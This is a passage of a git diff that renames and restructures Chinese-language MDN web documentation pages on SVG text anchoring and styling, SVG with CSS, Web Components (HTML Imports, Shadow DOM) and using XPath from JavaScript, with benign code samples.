所呈现的字符对齐方式为:文本字符串的中间位置即当前文本的初始位置. (对于按路径排列的文本,会从概念上首先将其文本排列在一条直线上,确定该串中点位置后,然再将该文本映射到路径上,并且将之前确定的中点放置在当前文本的位置上 )
-
end
-
所呈现的字符对齐方式为:文本字符串的末尾即当前文本的初始位置.对于拉丁语通常的文字走向来说,这就相当于右对齐. 对于像希伯来语和阿拉伯语这类将文字自右向左排列的脚本来说,这相当于左对齐.
-
- -

示例

- -
<?xml version="1.0"?>
-<svg width="120" height="120" viewBox="0 0 120 120"
-     xmlns="http://www.w3.org/2000/svg" version="1.1">
-
-    <!-- Materialisation of anchors -->
-    <path d="M60,15 L60,110 M30,40 L90,40 M30,75 L90,75 M30,110 L90,110" stroke="grey" />
-
-
-    <!-- Anchors in action -->
-    <text text-anchor="start"
-          x="60" y="40">A</text>
-
-    <text text-anchor="middle"
-          x="60" y="75">A</text>
-
-    <text text-anchor="end"
-          x="60" y="110">A</text>
-
-    <!-- Materialisation of anchors -->
-    <circle cx="60" cy="40" r="3" fill="red" />
-    <circle cx="60" cy="75" r="3" fill="red" />
-    <circle cx="60" cy="110" r="3" fill="red" />
-
-<style><![CDATA[
-text{
-    font: bold 36px Verdana, Helvetica, Arial, sans-serif;
-}
-]]></style>
-</svg>
- -

Live sample

- -

{{ EmbedLiveSample('Example','120','120') }}

- -

元素

- -

 

- -

以下元素可以运用文本锚点属性:

- -

 

- - diff --git "a/files/zh-cn/web/svg/attribute/\346\240\267\345\274\217/index.html" "b/files/zh-cn/web/svg/attribute/\346\240\267\345\274\217/index.html" deleted file mode 100644 index 6d9669c5c5..0000000000 --- "a/files/zh-cn/web/svg/attribute/\346\240\267\345\274\217/index.html" +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: SVG样式属性 -slug: Web/SVG/Attribute/样式 -translation_of: Web/SVG/Attribute/Styling ---- -

SVG样式属性是所有可以在任何SVG元素上指定以应用CSS样式效果的属性。

- -
- -
- -

属性

- -
-
{{SVGAttr('class')}}
-
给一个元素分配一个类名称或者设置类名。它跟 HTML中的{{htmlattrxref('class')}}属性具有同样的功能。
- Value: 任何可用的ID字符; Animatable: Yes
-
{{SVGAttr('style')}}
-
它指定元素的样式信息。它跟HTML中 {{htmlattrxref('style')}}属性具有相同的功能。
- Value:任何可用的ID字符; Animatable: No -

 

-
-
- -

浏览器支持

- - - -

{{Compat("svg.attributes.style")}}

diff --git a/files/zh-cn/web/svg/tutorial/svg_and_css/index.html b/files/zh-cn/web/svg/tutorial/svg_and_css/index.html new file mode 100644 index 0000000000..f2e753baca --- /dev/null +++ b/files/zh-cn/web/svg/tutorial/svg_and_css/index.html @@ -0,0 +1,191 @@ +--- +title: SVG and CSS +slug: Web/Guide/CSS/Getting_started/SVG_and_CSS +translation_of: Web/SVG/Tutorial/SVG_and_CSS +--- +
+ {{CSSTutorialTOC}}
+

本节将演示如何将CSS应用到 SVG 中。

+

你将创建一个简单的演示代码并在支持SVG的浏览器中运行。

+

这是 CSS 教程 第二部分的第二节
+ 前一节: JavaScript
+ 下一节: XML data

+

信息: SVG

+

SVG (Scalable Vector Graphics)是一个基于XML的图形描述语言。

+

它可以用于描述静态图、动画,以及用户界面。

+

和其他基于XML的语言一样,SVG 支持用 CSS 样式表将图形内容和图形样式分离。

+

在样式表中你可以在任何可以可以指定图片的地方指定一个SVG的URL。比如,在HTML的样式表中,你可以为 background 属性指定一个SVG的URL。

+ + + + + + + +
+ 更多细节
+

在这个教程编写的时间点(2011中旬),绝大多数现代浏览器都对SVG有基本的支持。其中包括 Internet Explorer 9 及其后续版本。一些SVG特性只被某些浏览器支持。参见 SVG tables on caniuse.com 了解支持情况。 参见 SVG element reference 了解兼容情况。

+

通过安装 Adobe 提供的插件,你可以让某些浏览器支持SVG。

+

欲在Mozilla了解更多关于SVG的信息,参考 这里SVG

+
+

实例: 一个SVG演示

+

建立一个SVG文件doc8.svg。复制下面所有内容:

+
<?xml version="1.0" standalone="no"?>
+
+<?xml-stylesheet type="text/css" href="style8.css"?>
+
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
+  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+
+<svg width="600px" height="600px" viewBox="-300 -300 600 600"
+  xmlns="http://www.w3.org/2000/svg" version="1.1"
+  xmlns:xlink="http://www.w3.org/1999/xlink">
+
+<title>SVG demonstration</title>
+<desc>Mozilla CSS Getting Started - SVG demonstration</desc>
+
+<defs>
+  <g id="segment" class="segment">
+    <path class="segment-fill" d="M0,0 v-200 a40,40 0 0,0 -62,10 z"/>
+    <path class="segment-edge" d="M0,-200 a40,40 0 0,0 -62,10"/>
+    </g>
+  <g id="quadrant">
+    <use xlink:href="#segment"/>
+    <use xlink:href="#segment" transform="rotate(18)"/>
+    <use xlink:href="#segment" transform="rotate(36)"/>
+    <use xlink:href="#segment" transform="rotate(54)"/>
+    <use xlink:href="#segment" transform="rotate(72)"/>
+    </g>
+  <g id="petals">
+    <use xlink:href="#quadrant"/>
+    <use xlink:href="#quadrant" transform="rotate(90)"/>
+    <use xlink:href="#quadrant" transform="rotate(180)"/>
+    <use xlink:href="#quadrant" transform="rotate(270)"/>
+    </g>
+  <radialGradient id="fade" cx="0" cy="0" r="200"
+      gradientUnits="userSpaceOnUse">
+    <stop id="fade-stop-1" offset="33%"/>
+    <stop id="fade-stop-2" offset="95%"/>
+    </radialGradient>
+  </defs>
+
+<text id="heading" x="-280" y="-270">
+  SVG demonstration</text>
+<text  id="caption" x="-280" y="-250">
+  Move your mouse pointer over the flower.</text>
+
+<g id="flower">
+  <circle id="overlay" cx="0" cy="0" r="200"
+    stroke="none" fill="url(#fade)"/>
+  <use id="outer-petals" xlink:href="#petals"/>
+  <use id="inner-petals" xlink:href="#petals"
+    transform="rotate(9) scale(0.33)"/>
+  </g>
+
+</svg>
+
+

创建一个CSS文件, style8.css。 复制下面所有内容:

+
/*** SVG demonstration ***/
+
+/* page */
+svg {
+  background-color: beige;
+  }
+
+#heading {
+  font-size: 24px;
+  font-weight: bold;
+  }
+
+#caption {
+  font-size: 12px;
+  }
+
+/* flower */
+#flower:hover {
+  cursor: crosshair;
+  }
+
+/* gradient */
+#fade-stop-1 {
+  stop-color: blue;
+  }
+
+#fade-stop-2 {
+  stop-color: white;
+  }
+
+/* outer petals */
+#outer-petals {
+  opacity: .75;
+  }
+
+#outer-petals .segment-fill {
+  fill: azure;
+  stroke: lightsteelblue;
+  stroke-width: 1;
+  }
+
+#outer-petals .segment-edge {
+  fill: none;
+  stroke: deepskyblue;
+  stroke-width: 3;
+  }
+
+#outer-petals .segment:hover > .segment-fill {
+  fill: plum;
+  stroke: none;
+  }
+
+#outer-petals .segment:hover > .segment-edge {
+  stroke: slateblue;
+  }
+
+/* inner petals */
+#inner-petals .segment-fill {
+  fill: yellow;
+  stroke: yellowgreen;
+  stroke-width: 1;
+  }
+
+#inner-petals .segment-edge {
+  fill: none;
+  stroke: yellowgreen;
+  stroke-width: 9;
+  }
+
+#inner-petals .segment:hover > .segment-fill {
+  fill: darkseagreen;
+  stroke: none;
+  }
+
+#inner-petals .segment:hover > .segment-edge {
+  stroke: green;
+  }
+
+

在支持SVG的浏览器中打开上面的文档。将鼠标移到图上。

+

由于这个wiki不支持嵌入SVG,所以下面是一个截图供参考:

+ + + + + + +
SVG demonstration
+

解释:

+
    +
  • 这个SVG文档使用常见连接方法引入样式表。
  • +
  • SVG有自己一套CSS属性和对应的值。其中一些和HTML使用的CSS属性相似。
  • +
+ + + + + + + +
+ 挑战
修改样式表使得当鼠标指针移到任何一个内层花瓣上时所有内层花瓣都变为粉色,但不改变外层花瓣的效果。
+

接下来?

+

如果你有任何疑问或评论请移步到讨论区

+

在这个演示中,支持SVG的浏览器知道如何显示SVG元素。样式表只是修改其呈现的方式。同样,这对HTML和XUL文档也是适用的。你也可以将CSS用于XML文档。(与HTML相比,)XML没有预先为元素定义样式。下一个节将对此进行演示: XML data

diff --git a/files/zh-cn/web/web_components/html_imports/index.html b/files/zh-cn/web/web_components/html_imports/index.html new file mode 100644 index 0000000000..fe3aeb99cd --- /dev/null +++ b/files/zh-cn/web/web_components/html_imports/index.html @@ -0,0 +1,61 @@ +--- +title: HTML 导入(HTML Imports) +slug: Web/Web_Components/HTML导入 +tags: + - HTML Imports + - Web Components +translation_of: Web/Web_Components/HTML_Imports +--- +

{{DefaultAPISidebar("Web Components")}}

+ +
+

在 Google Chrome 73 后已过时
+ 此功能已过时。虽然它可能仍然适用于某些浏览器,但不鼓励使用它,因为它随时可能被删除。尽量避免使用它。

+
+ +
+

Firefox 将不会以当前形式发布HTML导入特性,有关 更多信息,请参阅此状态更新在对标准达成共识或制定替代机制之前,您可以使用Google等的polyfill webcomponents.js 

+
+ +

HTML Imports 旨在成为 Web Components 的打包机制,但也可以单独使用 HTML Imports。

+ +
可以在HTML文档中使用<link> 标记导入HTML文件,如下所示:
+ +
 
+ +
<link rel="import" href="myfile.html">
+ +

链接类型 import 是新加入的。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态评论
{{SpecName('HTML Imports', "", "")}}{{Spec2('HTML Imports')}}初步定义
+ +

浏览器兼容性

+ + + +

{{Compat("html.elements.link.rel.import")}}

+ +

阅读更多:

+ +
    +
  • https://developer.mozilla.org/zh-CN/docs/Web/Web_Components
  • +
  • https://developer.mozilla.org/zh-CN/docs/Web/Web_Components/Custom_Elements
  • +
  • https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/template
  • +
  • https://developer.mozilla.org/zh-CN/docs/Web/Web_Components/Shadow_DOM
    +  
  • +
diff --git "a/files/zh-cn/web/web_components/html\345\257\274\345\205\245/index.html" "b/files/zh-cn/web/web_components/html\345\257\274\345\205\245/index.html" deleted file mode 100644 index fe3aeb99cd..0000000000 --- "a/files/zh-cn/web/web_components/html\345\257\274\345\205\245/index.html" +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: HTML 导入(HTML Imports) -slug: Web/Web_Components/HTML导入 -tags: - - HTML Imports - - Web Components -translation_of: Web/Web_Components/HTML_Imports ---- -

{{DefaultAPISidebar("Web Components")}}

- -
-

在 Google Chrome 73 后已过时
- 此功能已过时。虽然它可能仍然适用于某些浏览器,但不鼓励使用它,因为它随时可能被删除。尽量避免使用它。

-
- -
-

Firefox 将不会以当前形式发布HTML导入特性,有关 更多信息,请参阅此状态更新在对标准达成共识或制定替代机制之前,您可以使用Google等的polyfill webcomponents.js 

-
- -

HTML Imports 旨在成为 Web Components 的打包机制,但也可以单独使用 HTML Imports。

- -
可以在HTML文档中使用<link> 标记导入HTML文件,如下所示:
- -
 
- -
<link rel="import" href="myfile.html">
- -

链接类型 import 是新加入的。

- -

规范

- - - - - - - - - - - - - - -
规范状态评论
{{SpecName('HTML Imports', "", "")}}{{Spec2('HTML Imports')}}初步定义
- -

浏览器兼容性

- - - -

{{Compat("html.elements.link.rel.import")}}

- -

阅读更多:

- -
    -
  • https://developer.mozilla.org/zh-CN/docs/Web/Web_Components
  • -
  • https://developer.mozilla.org/zh-CN/docs/Web/Web_Components/Custom_Elements
  • -
  • https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/template
  • -
  • https://developer.mozilla.org/zh-CN/docs/Web/Web_Components/Shadow_DOM
    -  
  • -
diff --git a/files/zh-cn/web/web_components/status_in_firefox/index.html b/files/zh-cn/web/web_components/status_in_firefox/index.html deleted file mode 100644 index d57e5adef5..0000000000 --- a/files/zh-cn/web/web_components/status_in_firefox/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Status of Web Components support in Firefox -slug: Web/Web_Components/Status_in_Firefox -translation_of: Web/Web_Components/Status_in_Firefox ---- -

{{DefaultAPISidebar("Web Components")}}{{SeeCompatTable}}

- -

Web Components 依旧是一项非常新的技术,它的规范正随着浏览器的实现而不断演变并且 Web 开发者正在测试和使用它。 它的实现状态是变化的并且演变的十分迅速; 这篇文章列出了在 Gecko 上的状态, 用于 Firefox 和Firefox OS.

- -
-
-

原生支持

- -

下面的特征已经被实现了并且默认在 Firefox and Firefox OS 中被激活:

- -
    -
  • {{HTMLElement("template")}}
  • -
- -

即将到来的特征

- -
    -
  • 一个实现关于新的 Shadow DOM 共识有望在2016年第一季度达成; Anne's 和 Wilson's 的博客讲述了这些细节。 这依然有 大量的讨论和公开问题 关于这个规范.。并且所有的浏览器实现被有望在未来得到更新.
  • -
  • 自定义元素 是从头开始, 用一种方式来重建它们使用 ECMAScript 6 “class” 语法 (换而言之, 更少的使用基于原型的语法). 苹果公司的 Ryosuke Niwa 正在填补某些实验性功能使用新的途径. -
      -
    • 旧的语法将可以与新的语法一起在Chrome 中工作一段时间(例如, {{domxref("Element.createShadowRoot()")}} 对应 {{domxref("Element.attachShadow()")}}), 但不能原生的在Firefox中工作。
    • -
    -
  • -
  • 这将会有一个供应商 面对面交流的机会在2016年一月 来讨论问来会出现的问题 。
  • -
- -

被摒弃的功能

- -

这些功能已被考虑实现了, 并且有些是实验性实现。但他们将会永远不被实现, 或者被删除。

- -
    -
  • HTML imports, 因为我们想等着看看开发者如何使用ES6 模块 (虽然还没有实现; 查看 {{bug(568953)}}). imports是一个早期未完成实现,并且将会被删除从Firefox中。
  • -
- -

在Firefox中使用垫片

- -

这有些注意事项在Firefox中使用垫片的时候:

- -
    -
  • 当你激活原生Web容器支持在Firefox中通过设置 {{pref("dom.webcomponents.enabled")}} 偏好 为 true 在  about:config 中, 这个未完成的原生实现开始运作并且垫片可能会出现混淆; 这会有很大的可能性出现崩溃.
  • -
  • 一个使用 webcomponents.js 垫片生成的Shadow DOM 并没有完全包裹样式, 所以这个 样式 可能会溢出。 要注意使用垫片构建的网址当运行在不支持原生Shadow DOM的环境之下时可能会出现差异.
  • -
  • 这个Shadow DOM 垫片运行时非常缓慢的以为他重写了DOM元素的原型来挂在它的功能 。
  • -
  • 如果你不需要使用 Shadow DOM, 使用 webcomponents-lite.js 版本的 webcomponents.js 垫片是一个名明智的选择; 这个版本不填补 Shadow DOM.
  • -
-
-
diff --git "a/files/zh-cn/web/web_components/\345\275\261\345\255\220_dom/index.html" "b/files/zh-cn/web/web_components/\345\275\261\345\255\220_dom/index.html" deleted file mode 100644 index 0d92962112..0000000000 --- "a/files/zh-cn/web/web_components/\345\275\261\345\255\220_dom/index.html" +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: 影子DOM(Shadow DOM) -slug: Web/Web_Components/影子_DOM -tags: - - DocumentFragment - - React - - Virtual DOM - - Web Components - - shadow dom -translation_of: Web/Web_Components/Using_shadow_DOM -translation_of_original: Web/Web_Components/Shadow_DOM ---- -

{{ draft }}

- -

Shadow DOM Web组件中的 DOM和 CSS提供了封装。Shadow DOM 使得这些东西与主文档的DOM保持分离。你也可以在一个Web组件外部使用 Shadow DOM本身。

- -

为什么要把一些代码和网页上其他的代码分离?原因之一是,大型站点若CSS没有良好的组织,导航的样式可能就『泄露』到本不应该去的地方,如主要内容区域,反之亦然。随着站点、应用的拓展,这样的事难以避免。

- -

Shadow DOM基础

- -

Shadow DOM 必须附加在一个元素上,可以是HTML文件中的一个元素,也可以是脚本中创建的元素;可以是原生的元素,如<div>、<p>;也可以是自定义元素如 <my-element>。 如下例所示,使用 {{domxref("Element.attachShadow()")}} 来附加影子DOM:

- -
<html>
-  <head></head>
-  <body>
-    <p id="hostElement"></p>
-    <script>
-      // create shadow DOM on the <p> element above
-      var shadow = document.querySelector('#hostElement').attachShadow({mode: 'open'});
-    </script>
-  </body>
-</html>
- -

上例中给一个没有内容的 <p> 元素添加了影子DOM。显示没有变化。接下来,同样在上例中加入下列代码,可以在影子DOM中插入文字,并将在浏览器中显示:

- -
shadow.innerHTML = '<p>Here is some new text</p>';
- -

Shadow DOM 样式化

- -

<style> 元素可用来给影子DOM添加样式。 同样是上例,下列代码会将影子DOM中的文字变为红色:

- -
<script>
-  // 创建 shadow DOM
-  var shadow = document.querySelector('#hostElement').attachShadow({mode: 'open'});
-  // 给 shadow DOM 添加文字
-  shadow.innerHTML = '<p>Here is some new text</p>';
-  // 添加CSS,将文字变红
-  shadow.innerHTML += '<style>p { color: red; }</style>';
-</script>
-
- -

Shadow DOM 的组成部分:

- -

影子DOM由下列部分组成:

- -
    -
  • {{domxref("Element.attachShadow()")}}
  • -
  • {{domxref("Element.getDestinationInsertionPoints()")}}
  • -
  • {{domxref("Element.shadowRoot")}}
  • -
  • <content> 元素
  • -
  • <shadow> 元素
  • -
  • 这些元素已从规范中移除: <content>, <element> 和<decorator>
  • -
  • 相关API接口:{{domxref("ShadowRoot")}}, {{domxref("HTMLTemplateElement")}} and {{domxref("HTMLSlotElement")}}
  • -
  • CSS 选择器: -
      -
    • 伪类:{{cssxref(":host")}}, {{cssxref(":host()")}}, {{cssxref(":host-context()")}}
    • -
    • 伪元素:{{cssxref("::shadow")}} and {{cssxref("::content")}}
    • -
    • 组合器:>>> (formerly /deep/)*
    • -
    -
  • -
- -

* 将来子组合器有可能被弃用

- -

Interfaces

- -

{{domxref("ShadowRoot")}}

- -

DOM子树的根节点,和文档的主要DOM树分开渲染。

- -

{{domxref("HTMLTemplateElement")}}

- -

允许访问HTML元素的内容。

- -

{{domxref("HTMLSlotElement")}}

- -

定义一个槽的位置。

- -

{{domxref("DocumentOrShadowRoot")}}

- -

提供在文档和 Shadow 树之间共享的API。

diff --git a/files/zh-cn/web/xpath/comparison_with_css_selectors/index.html b/files/zh-cn/web/xpath/comparison_with_css_selectors/index.html new file mode 100644 index 0000000000..c196e077e6 --- /dev/null +++ b/files/zh-cn/web/xpath/comparison_with_css_selectors/index.html @@ -0,0 +1,43 @@ +--- +title: Comparison of CSS Selectors and XPath +slug: Web/CSS/CSS_Selectors/Comparison_with_XPath +translation_of: Web/XPath/Comparison_with_CSS_selectors +--- +
{{CSSRef("Selectors")}}{{QuickLinksWithSubpages("/en-US/docs/Web/XPath")}}{{Draft}}
+ +

本文旨在记录CSS选择器和XPath之间的区别,以便Web开发人员能够更好地为正确的工作选择合适的工具。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
XPath featureCSS equivalent
ancestor, parent or preceding-sibling axis{{CSSxRef(":has",":has()")}} selector {{experimental_inline}}
attribute axisAttribute selectors
child axisChild combinator
descendant axisDescendant combinator
following-sibling axisGeneral sibling combinator or adjacent sibling combinator
self axis{{CSSxRef(":scope")}} or {{CSSxRef(":host")}} selector
diff --git a/files/zh-cn/web/xpath/introduction_to_using_xpath_in_javascript/index.html b/files/zh-cn/web/xpath/introduction_to_using_xpath_in_javascript/index.html new file mode 100644 index 0000000000..cc4b806fa6 --- /dev/null +++ b/files/zh-cn/web/xpath/introduction_to_using_xpath_in_javascript/index.html @@ -0,0 +1,436 @@ +--- +title: Introduction to using XPath in JavaScript +slug: Web/JavaScript/Introduction_to_using_XPath_in_JavaScript +tags: + - DOM + - Extensions + - Transforming_XML_with_XSLT + - Web Development + - XPath +translation_of: Web/XPath/Introduction_to_using_XPath_in_JavaScript +--- +

该篇文档描述了如何在扩展和网站内部通过JavaScript调用 XPath 接口。 Mozilla 实现了相当多的 DOM 3 XPath,意味着 Xpath 表达式已经可以在 HTML 和 XML 文档中使用。

+ +

使用 XPath 的主要接口是 document 对象的 evaluate 方法。

+ +

document.evaluate

+ +

此方法针对基于 XML 的文档(包括 HTML 文档)评估 XPath 表达式,并返回 XPathResult 对象,该对象可以是单个节点或一组节点。这个方法的现有文档位于 document.evaluate,但是对于我们现在的需求来说它相当稀疏;下面将给出更全面的研究。

+ +
var xpathResult = document.evaluate( xpathExpression, contextNode, namespaceResolver, resultType, result );
+
+ +

参数

+ +

evaluate 函数共有五个参数:

+ +
    +
  • +

    xpathExpression:包含要评估的 XPath 表达式的字符串.

    +
  • +
  • +

    contextNode:应评估 xpathExpression 的文档中的节点,包括其任何和所有子节点。document 节点是最常用的。

    +
  • +
  • +

    namespaceResolver:将传递包含在 xpathExpression 中的任何命名空间前缀的函数,它返回一个表示与该前缀关联的命名空间 URI 的字符串。这使得能够在 XPath 表达式中使用的前缀和文档中使用的可能不同的前缀之间进行转换。该转换函数可以是:

    + +
      +
    • +

      使用 XPathEvaluator 对象的 createNSResolver 方法创建

      +
    • +
    • +

      null。其可以用于 HTML 文档或者当不使用命名空间前缀时。注意,如果 xpathExpression 包含命名空间前缀,这将导致一个带有 NAMESPACE_ERR 的 DOMException 抛出。

      +
    • +
    • +

      用户定义的函数。有关详细信息,请参阅附录中的 使用一个用户定义的命名空间解析器 部分。

      +
    • +
    +
  • +
  • +

    resultType:指定作为评估结果返回的所需结果类型的常数。最常传递的常量是 XPathResult.ANY_TYPE,它将返回 XPath 表达式的结果作为最自然的类型。附录中有一个部分,其中包含可用常数的完整列表。它们在下面“指定返回类型”部分中进行解释。

    +
  • +
  • +

    result:如果指定了现有的 XPathResult 对象,它将被重用以返回结果。指定 null 将创建一个新的 XPathResult 对象。

    +
  • +
+ +

返回值

+ +

返回 xpathResult,它是 resultType 参数中指定的类型的 XPathResult 对象。XPathResult 在这里定义。

+ +

实现默认的命名空间解析器

+ +

我们使用 document 对象的 createNSResolver 方法创建一个命名空间解析器。

+ +
var nsResolver = document.createNSResolver( contextNode.ownerDocument == null ? contextNode.documentElement : contextNode.ownerDocument.documentElement );
+
+ +

Or alternatively by using the <code>createNSResolver</code> method of a <code>XPathEvaluator</code> object. <pre> var xpEvaluator = new XPathEvaluator(); var nsResolver = xpEvaluator.createNSResolver( contextNode.ownerDocument == null ? contextNode.documentElement : contextNode.ownerDocument.documentElement ); </pre>

+ +

然后传递 document.evaluate,将 nsResolver 变量作为 namespaceResolver 参数。

+ +

注意:XPath 定义不带前缀的 QNames,以仅匹配 null 命名空间中的元素。XPath 没有办法选择应用于常规元素引用的默认命名空间(例如,p[@id='_myid'] 对应于 xmlns='http://www.w3.org/1999/xhtml')。要匹配非命名空间中的默认元素,您必须使用如 [namespace-uri()='http://www.w3.org/1999/xhtml' and name()='p' and @id='_id']这种方法适用于命名空间未知的动态 XPath),或者使用前缀名测试,并创建一个命名空间解析器将前缀映射到命名空间。如果你想采取后一种方法,阅读更多关于如何创建一个用户定义的命名空间解析器

+ +

注意

+ +

适应任何 DOM 节点以解析命名空间,以便可以相对于文档中出现的节点的上下文轻松地评估 XPath 表达式。此适配器的工作方式类似于 DOM 级别 3 方法 lookupNamespaceURI 在解析 namespaceuRI 时节点的层次结构中的可用的当前信息的节点。也正确解析了隐式 xml 前缀。

+ +

指定返回类型

+ +

document.evaluate 返回的变量 xpathResult 可以由单个节点(简单类型)或节点集合(节点集类型)组成。

+ +

简单类型

+ +

resultType 中的所需结果类型指定为:

+ +
    +
  • NUMBER_TYPE - a double
  • +
  • STRING_TYPE - a string
  • +
  • BOOLEAN_TYPE - a boolean
  • +
+ +

我们通过分别访问 XPathResult 对象的以下属性来获取表达式的返回值。

+ +
    +
  • numberValue
  • +
  • stringValue
  • +
  • booleanValue
  • +
+ +
示例
+ +

以下使用 XPath 表达式 count(//p) 来获取 HTML 文档中的 <p> 元素数:

+ +
var paragraphCount = document.evaluate( 'count(//p)', document, null, XPathResult.ANY_TYPE, null );
+
+alert( 'This document contains ' + paragraphCount.numberValue + ' paragraph elements' );
+
+ +

虽然 JavaScript 允许我们将数字转换为一个字符串进行显示,但 XPath 接口不会自动转换数字结果,如果 stringValue 属性被请求,所以下面的代码将工作:

+ +
var paragraphCount = document.evaluate('count(//p)', document, null, XPathResult.ANY_TYPE, null );
+
+alert( 'This document contains ' + paragraphCount.stringValue + ' paragraph elements' );
+
+ +

相反,它将返回一个带有 NS_DOM_TYPE_ERROR 的异常。

+ +

节点集类型

+ +

XPathResult 对象允许以 3 种主要不同类型返回节点集:

+ + + +
Iterators
+ +

resultType 参数中的指定结果类型为:

+ +
    +
  • UNORDERED_NODE_ITERATOR_TYPE
  • +
  • ORDERED_NODE_ITERATOR_TYPE
  • +
+ +

返回的 XPathResult 对象是一个匹配节点的节点集,它将作为迭代器,允许我们使用 XPathResultiterateNext() 方法访问包含的各个节点。

+ +

一旦迭代完成所有的匹配节点,iterateNext() 将返回 null

+ +

但请注意,如果在迭代过程中,文档发生突变(文档树被修改),将使迭代无效,并且 XPathResultinvalidIteratorState 属性设置为 true,抛出 NS_ERROR_DOM_INVALID_STATE_ERR 异常。

+ +
Iterator Example
+ +
var iterator = document.evaluate('//phoneNumber', documentNode, null, XPathResult.UNORDERED_NODE_ITERATOR_TYPE, null );
+
+try {
+  var thisNode = iterator.iterateNext();
+
+  while (thisNode) {
+    alert( thisNode.textContent );
+    thisNode = iterator.iterateNext();
+  }
+}
+catch (e) {
+  dump( 'Error: Document tree modified during iteration ' + e );
+}
+
+ +
Snapshots
+ +

resultType 参数中的指定结果类型为:

+ +
    +
  • UNORDERED_NODE_SNAPSHOT_TYPE
  • +
  • ORDERED_NODE_SNAPSHOT_TYPE
  • +
+ +

返回的 XPathResult 对象是一个匹配节点的静态节点集,这允许我们通过 XPathResult 对象的 snapshotItem(itemNumber) 方法访问每个节点,其中 itemNumber 是要检索的节点的索引。包含的节点总数可以通过 snapshotLength 属性访问。

+ +

快照不随文档突变而改变,因此与迭代器不同,快照不会变得无效,但是它可能不对应于当前文档,例如节点可能已被移动,它可能包含不再存在的节点,或新节点可能已添加。

+ +
Snapshot Example
+ +
var nodesSnapshot = document.evaluate('//phoneNumber', documentNode, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null );
+
+for ( var i=0 ; i < nodesSnapshot.snapshotLength; i++ )
+{
+  dump( nodesSnapshot.snapshotItem(i).textContent );
+}
+
+ +
First Node
+ +

resultType 参数中的指定结果类型为:

+ +
    +
  • ANY_UNORDERED_NODE_TYPE
  • +
  • FIRST_ORDERED_NODE_TYPE
  • +
+ +

返回的 XPathResult 对象只是匹配 XPath 表达式的第一个找到的节点。这可以通过 XPathResult 对象的 singleNodeValue 属性访问。如果节点集为空,这将为 null

+ +

请注意,对于无序子类型,返回的单个节点可能不是文档顺序中的第一个,但是对于有序子类型,保证以文档顺序获取第一个匹配的节点。

+ +
First Node Example
+ +
var firstPhoneNumber = document.evaluate('//phoneNumber', documentNode, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null );
+
+dump( 'The first phone number found is ' + firstPhoneNumber.singleNodeValue.textContent );
+
+ +

ANY_TYPE 常量

+ +

resultType 参数中的结果类型指定为 ANY_TYPE 时,返回的 XPathResult 对象将是由表达式求值自然产生的任何类型。

+ +

它可以是任何简单类型(NUMBER_TYPESTRING_TYPEBOOLEAN_TYPE ),如果返回的结果类型是节点集,那么它将是一个 UNORDERED_NODE_ITERATOR_TYPE

+ +

要在评估后确定类型,我们使用 XPathResult 对象的 resultType 属性。此属性的常量值在附录中定义。 None Yet =====Any_Type Example===== <pre> </pre>

+ +

示例

+ +

在 HTML 文档中

+ +

以下代码旨在放置在要针对其评估 XPath 表达式的 HTML 文档中内嵌或外链的任何 JavaScript 片段中。

+ +

要使用 XPath 提取 HTML 文档中的所有 <h2> 标题元素,xpathExpression 只是 //h2。其中,// 是递归下降运算符,在文档树中的任何位置将元素与 nodeName h2 相匹配。这个的完整代码是: link to introductory xpath doc

+ +
var headings = document.evaluate('//h2', document, null, XPathResult.ANY_TYPE, null );
+
+ +

请注意,由于 HTML 没有命名空间,因此我们为 namespaceResolver 参数传递了 null

+ +

因为希望在整个文档中搜索标题,所以我们使用 document 对象本身作为 contextNode

+ +

此表达式的结果是 XPathResult 对象。如果想知道返回的结果的类型,我们可以评估返回的对象的 resultType 属性。在这种情况下,这将评估为 4,即 UNORDERED_NODE_ITERATOR_TYPE。这是 XPath 表达式的结果是节点集时的默认返回类型。它一次提供对单个节点的访问,并且可能不以特定顺序返回节点。要访问返回的节点,我们使用返回对象的 iterateNext() 方法:

+ +
var thisHeading = headings.iterateNext();
+
+var alertText = 'Level 2 headings in this document are:\n'
+
+while (thisHeading) {
+  alertText += thisHeading.textContent + '\n';
+  thisHeading = headings.iterateNext();
+}
+
+ +

一旦迭代到一个节点,我们就可以访问该节点上的所有标准 DOM 接口。在遍历从表达式返回的所有 h2 元素之后,对 iterateNext() 的任何进一步调用都将返回 null 。

+ +

针对扩展中的 XML 文档进行评估

+ +

以下使用位于 chrome://yourextension/content/peopleDB.xml 的 XML 文档作为示例。

+ +
<?xml version="1.0"?>
+<people xmlns:xul = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" >
+  <person>
+  <name first="george" last="bush" />
+  <address street="1600 pennsylvania avenue" city="washington" country="usa"/>
+  <phoneNumber>202-456-1111</phoneNumber>
+  </person>
+  <person>
+  <name first="tony" last="blair" />
+  <address street="10 downing street" city="london" country="uk"/>
+  <phoneNumber>020 7925 0918</phoneNumber>
+  </person>
+</people>
+
+ +

为了使 XML 文档的内容在扩展中可用,我们创建一个 XMLHttpRequest 对象以同步加载文档,变量 xmlDoc 将包含该文档作为 XMLDocument 对象,我们可以使用 evaluate 方法。

+ +

JavaScript用于扩展 xul/js 文档。

+ +
var req = new XMLHttpRequest();
+
+req.open("GET", "chrome://yourextension/content/peopleDB.xml", false);
+req.send(null);
+
+var xmlDoc = req.responseXML;
+
+var nsResolver = xmlDoc.createNSResolver( xmlDoc.ownerDocument == null ? xmlDoc.documentElement : xmlDoc.ownerDocument.documentElement);
+
+var personIterator = xmlDoc.evaluate('//person', xmlDoc, nsResolver, XPathResult.ANY_TYPE, null );
+
+ +

注意

+ +

当未定义 XPathResult 对象时,可以使用 Components.interfaces.nsIDOMXPathResult.ANY_TYPE (CI.nsIDOMXPathResult) 在特权代码中检索常量。类似地,可以使用以下创建 XPathEvaluator:

+ +
Components.classes["@mozilla.org/dom/xpath-evaluator;1"].createInstance(Components.interfaces.nsIDOMXPathEvaluator)
